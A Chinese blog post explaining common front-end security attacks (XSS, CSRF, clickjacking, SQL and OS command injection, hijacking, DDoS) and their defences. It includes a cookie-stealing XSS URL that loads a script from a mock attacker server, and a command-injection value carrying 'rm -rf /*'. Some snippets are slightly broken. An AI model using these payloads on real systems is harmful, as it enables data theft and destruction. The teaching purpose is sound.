前端网络安全整理


theme: channing-cyan

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第 12 天,点击查看活动详情

网络安全

网络安全汇总

  1. * XSS
  2. * CSRF
  3. * iframe 安全
  4. * SQL注入
  5. * OS注入
  6. * 请求劫持
  7. * DDOS

1、XSS

what is XSS?

我们先从字面意义上看一下,跨站->顾名思义就是我们从一个网站跑到了另外一个网站上,脚本->也就是我们往页面中写了脚本内容,可以理解为写了js代码,那么最后我们对网站造成了攻击。就是攻击者想尽一切办法将可以执行的代码注入到网页中。

例如: 我们在登录了一个网站之后,一般都会把登录状态保存在cookie中,当我们去访问另外一个网站的时候,就会读取到cookie

XSS危害

  1. * 利⽤虚假输⼊表单骗取⽤户个⼈信息。
  2. * 利⽤脚本窃取⽤户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
  3. * 显示伪造的⽂章或图⽚。

简单演示

  1. // 普通
  2. http://localhost:3000/?from=china
  3. // alert尝试
  4. http://localhost:3000/?from=<script>alert(3)</script>
  5. // 如果可以弹出3,证明这个输入框没有过滤html标记

模拟获取cookie

  1. http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">

后台代码

  1. const koa = require(koa); // 启动在4000端口上
  2. const chalk = require(chalk)
  3. const log = contents => {
  4. console.log(chalk.red(contents)) //打印cookie
  5. }
  6. // 模拟黑客网站
  7. const app = new koa();
  8. module.exports = app

存储型(server端):

攻击步骤:

  1. 1、攻击者将恶意代码提交到目标网站的数据库中
  2. 2、用户打开目标网站时,服务端将恶意代码从数据库中取出来,拼接在HTML中返回给浏览器
  3. 3、用户浏览器在收到响应后解析执行,混在其中的恶意代码也同时被执行
  4. 4、恶意代码窃取用户数据,并发送到指定攻击者的网站,或者冒充用户行为,调用目标网站的接口,执行恶意操作

反射型(Server端)

攻击步骤:

  1. 1、攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 2、用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
  3. 3、用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 4、恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

Dom 型(浏览器端)

攻击步骤:

  1. 1、攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 2、用户打开带有恶意代码的 URL
  3. 3、用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
  4. 4、恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

防御措施

1、设置HEAD

  1. ctx.set(X-XSS-Protection, 0) // 禁⽌XSS过滤

2、设置HttpOnly Cookie

这是预防XSS攻击窃取⽤户cookie最有效的防御⼿段。Web应 ⽤程序在设置cookie时,将其属性设为HttpOnly,就可以避免该⽹⻚的cookie被客户端恶意JavaScript窃取,保护⽤户cookie信息。

  1. response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")

3、CSP

内容安全策略 (CSP, Content Security Policy) 是⼀个附加的安全层,⽤于帮助检测和缓解某些类型的攻击,包括跨站脚本 (XSS) 和数据注⼊等攻击。 这些攻击可⽤于实现从数据窃取到⽹站破坏或作为恶意软件分发版本等⽤途。

CSP 本质上就是建⽴⽩名单,由浏览器进行拦截。开发者明确告诉浏览器哪些外部资源可以加载和执⾏。我们只需要配置规则,如何拦截是由浏览器⾃⼰实现的。我们可以通过这种⽅式来尽量减少
XSS 攻击。

Content-Security-Policy: default-src ‘self’ -所有内容均来自站点的同一个源(不包括其子域名)

Content-Security-Policy: default-src ‘self’ *.trusted.com-允许内容来自信任的域名及其子域名 (域名不必须与CSP设置所在的域名相同)

Content-Security-Policy: default-src https://xxxx.com-该服务器仅允许通过HTTPS方式并仅从xxxx.com域名来访问文档

4、对数据进行严格的输出编码:如HTML元素的编码,JS编码,CSS编码,URL编码等等

  1. * 避免拼接 HTML
  2. * Vue/React 技术栈,避免使用 v-html / dangerouslySetInnerHTML

5、输入验证:比如一些常见的数字、URL、电话号码、邮箱地址等等做校验判断

6、验证码

2、CSRF

what is CSRF?

还是从字面上去分析,跨站还是指从一个网站指向另外一个网站,于XSS不同的是,他是请求,指我们在别的网站上发出一个请求,而这个请求是伪造出来的

⽤户已经登录了站点 A,并在本地记录了 cookie

在⽤户没有登出站点 A 的情况下(也就是 cookie ⽣效的情况下),访问了恶意攻击者提供的引诱危险站点 B (B 站点要求访问站点A)。

站点 A 没有做任何 CSRF 防御

攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。

攻击流程举例

  1. 1、受害者登录 a.com,并保留了登录凭证(Cookie
  2. 2、攻击者引诱受害者访问了b.com
  3. 3b.com a.com 发送了一个请求:a.com/act=xx浏览器会默认携带a.comCookie
  4. 4a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求
  5. 5a.com以受害者的名义执行了act=xx
  6. 6、攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行了自己定义的操作

攻击类型

  1. 1ET型:如在页面的某个 img 中发起一个 get 请求
  2. 2POST型:通过自动提交表单到恶意网站
  3. 3、链接型:需要诱导用户点击链接

CSRF危害

  1. * 利⽤⽤户登录状态
  2. * ⽤户不知情
  3. * 完成业务请求
  4. * 盗取⽤户资⾦(转账,消费)
  5. * 冒充⽤户发帖背锅
  6. * 损害⽹站声誉

防御CSRF

CSRF通常从第三方网站发起,被攻击的网站无法防止攻击发生,只能通过增强自己网站针对CSRF的防护能力来提升安全性。

  1. 1、禁⽌第三⽅⽹站带Cookie - 有兼容性问题
  2. Samesite Cookie属性:
  3. Google起草了一份草案来改进HTTP协议,那就是为Set-Cookie响应头新增Samesite属性
  4. 它用来标明这个 Cookie是个“同站 Cookie”,同站Cookie只能作为第一方Cookie,不能作为第三方Cookie
  5. Samesite 有两个属性值,Strict 为任何情况下都不可以作为第三方 Cookie Lax 为可以作为第三方 Cookie,但必须是Get请求
  6. 2Referer Check - Https不发送referer
  7. 3、验证码
  8. 4、同源检测:通过Header中的Origin Header Referer Header 确定,但不同浏览器可能会有不一样的实现,不能完全保证
  9. 5CSRF Token 校验:将CSRF Token输出到页面中(通常保存在Session中),页面提交的请求携带这个Token,服务器验证Token是否正确
  10. 6、双重cookie验证:
  11. 流程:
  12. 步骤1:在用户访问网站页面时,向请求域名注入一个Cookie,内容为随机字符串(例如csrfcookie=v8g9e4ksfhw
  13. 步骤2:在前端向后端发起请求时,取出Cookie,并添加到URL的参数中(接上例POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw)
  14. 步骤3:后端接口验证Cookie中的字段与URL参数中的字段是否一致,不一致则拒绝。
  15. 优点:
  16. 1)、无需使用Session,适用面更广,易于实施。
  17. 2)、Token储存于客户端中,不会给服务器带来压力。
  18. 3)、相对于Token,实施成本更低,可以在前后端统一拦截校验,而不需要一个个接口和页面添加。
  19. 缺点:
  20. 1)、Cookie中增加了额外的字段。
  21. 2)、如果有其他漏洞(例如XSS),攻击者可以注入Cookie,那么该防御方式失效。
  22. 3)、难以做到子域名的隔离。
  23. 4)、为了确保Cookie传输安全,采用这种防御方式的最好确保用整站HTTPS的方式,如果还没切HTTPS的使用这种方式也会有风险。

3、iframe 安全

what is iframe劫持?

  1. 1、嵌入第三方 iframe 会有很多不可控的问题,同时当第三方 iframe 出现问题或是被劫持之后,也会诱发安全性问题
  2. 2、点击劫持
  3. 点击劫持是⼀种视觉欺骗的攻击⼿段。
  4. 攻击者将需要攻击的⽹站通过iframe嵌套的⽅式嵌⼊⾃⼰的⽹⻚中,并将 iframe 设置为透明,在⻚⾯中透出⼀个按钮诱导⽤户点击。
  5. 3、禁止自己的 iframe 中的链接外部网站的JS

预防方案:

  1. 1、为 iframe 设置 sandbox 属性,通过它可以对iframe的行为进行各种限制,充分实现“最小权限“原则
  2. 2、服务端设置 X-Frame-Options Header头,拒绝页面被嵌套,X-Frame-Options HTTP 响应头中用来告诉浏览器一个页面是否可以嵌入 <iframe>
  3. eg.X-Frame-Options: SAMEORIGIN
  4. SAMEORIGIN: iframe 页面的地址只能为同源域名下的页面
  5. ALLOW-FROM: 可以嵌套在指定来源的 iframe
  6. DENY: 当前页面不能被嵌套在 iframe
  7. 3、设置 CSP Content-Security-Policy 请求头
  8. 4、减少对 iframe 的使用
  1. ctx.set(X-FRAME-OPTIONS, DENY)

JS方式

  1. <head>
  2. <style id="click-jack">
  3. html {
  4. display: none !important;
  5. }
  6. </style>
  7. </head>
  8. <body>
  9. <script>
  10. if (self == top) {
  11. var style = document.getElementById(click-jack)
  12. document.body.removeChild(style)
  13. } else {
  14. top.location = self.location
  15. }
  16. </script>
  17. </body>

4、SQL 注入

what is sql注入?

就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗数据库服务器执行恶意的SQL命令,从而达到和服务器
进行直接的交互

防御措施

其实防御起来很简单,每个语言都提供了不同的方式,但是原理就是不进行字符串拼接,而是用占位符

  1. 1、严格限制Web应⽤的数据库的操作权限**,给此⽤户提供仅仅能够满⾜其⼯作的最低权限,从⽽最⼤限度的减少注⼊攻击对数据库的危害
  2. 2、对进⼊数据库的特殊字符(,",\,<,>,&,*,; 等)进⾏转义处理,或编码转换**。基本上所有的后端语⾔都有对字符串进⾏转义处理的⽅法,⽐如 lodash 的 lodash._escapehtmlchar库。
  3. 3、后端代码检查输⼊的数据是否符合预期**,严格限制变量的类型,例如使⽤正则表达式进⾏⼀些匹配处理。

接下来这几个我们也做个了解:

5、OS命令注⼊

  1. // 以 Node.js 为例,假如在接⼝中需要从 github 下载⽤户指定的 repo
  2. const exec = require(mz/child_process).exec;
  3. let params = {/* ⽤户输⼊的参数 */};
  4. exec(`git clone ${params.repo} /some/path`);

如果参数是

  1. https://github.com/xx/xx.git && rm -rf /* &&

注意:一旦你执行了上述“rm -rf /” 或者“rm -rf /*”命令,会删除Linux根目录下的所有文件,直接导致服务器瘫痪

6、请求劫持

DNS劫持

HTTP劫持 运营商劫持,此时⼤概只能升级HTTPS了

7、DDOS

what is DDOS?

DDOS 不是⼀种攻击,⽽是⼀⼤类攻击的总称。它有⼏⼗种类型,新的攻击⽅法还在不断发明出来。⽹站运⾏的各个环节,都可以是攻击⽬标。只要把⼀个环节攻破,使得整个流程跑不起来,就达到了瘫痪服务的⽬的。

其中,⽐较常⻅的⼀种攻击是 cc 攻击。它就是简单粗暴地送来⼤量正常的请求,超出服务器的最⼤承受量,导致宕机。我遭遇的就是 cc 攻击,最多的时候全世界⼤概20多个 IP 地址轮流发出请求,每个地址的请求量在每秒200次~300次。我看访问⽇志的时候,就觉得那些请求像洪⽔⼀样涌来,⼀眨眼就是⼀⼤堆,⼏分钟的时间,⽇志⽂件的体积就⼤了100MB。说实话,这只能算⼩攻击,但是我的个⼈⽹站没有任何防护,服务器还是跟其他⼈共享的,这种流量⼀来⽴刻就下线了。

如何防御

说白了花钱解决,哈哈…

总结:其实还有其它安全的问题,本文就帮助大家大致了解这一部分。前四个希望大家都理解记忆,也是我们常遇到的,项目中也是需要我们处理的。后边的几个可以了解为主,有能力者可以做更多的扩展。本文是有些是个人拙见,如有意见或见解,可以留言共同探讨。

加油!谢谢大家!


文章标签:

原文连接:https://juejin.cn/post/7110591286825975845

相关推荐

Webpack学习系列 - Webpack5 怎么集成Babel ?

我在淘宝做弹窗,2022 年初的回顾与展望

看完这篇,你也可以搞定有趣的动态曲线绘制

低代码平台的属性面板该如何设计?

34个图片压缩工具集合,包含在线压缩和CLI工具

冴羽答读者问:过程比结果重要吗?如果是,怎么理解?如果不是,又怎么解?

中杯超大杯中间的新选择——vue2.7+vite+ts实践

LiveData源码分析

亚马逊Prime:流媒大战杀手锏

Vue详解知识概括

基于 Docker 来部署 Vue 或 React 前端项目及 Node 后端服务

完美解决自定义字体垂直方向上下偏移的问题

使用vuepress从零开始搭建我的技术文档|已部署到线上

【Vue.js 3.0源码】AST 转换之节点内部转换

小程序+电商,该如何寻找营销增长点

前端如何开始深度学习,那不妨试试JAX

你可能不知道的 前端浏览器(window) 对本地文件操作(File System Access API)

爱奇艺向抖音开启授权,打开内容价值的新大门

使用ComposeDesktop开发一款桌面端多功能APK工具

一个简洁、强大、可扩展的前端项目架构是什么样的?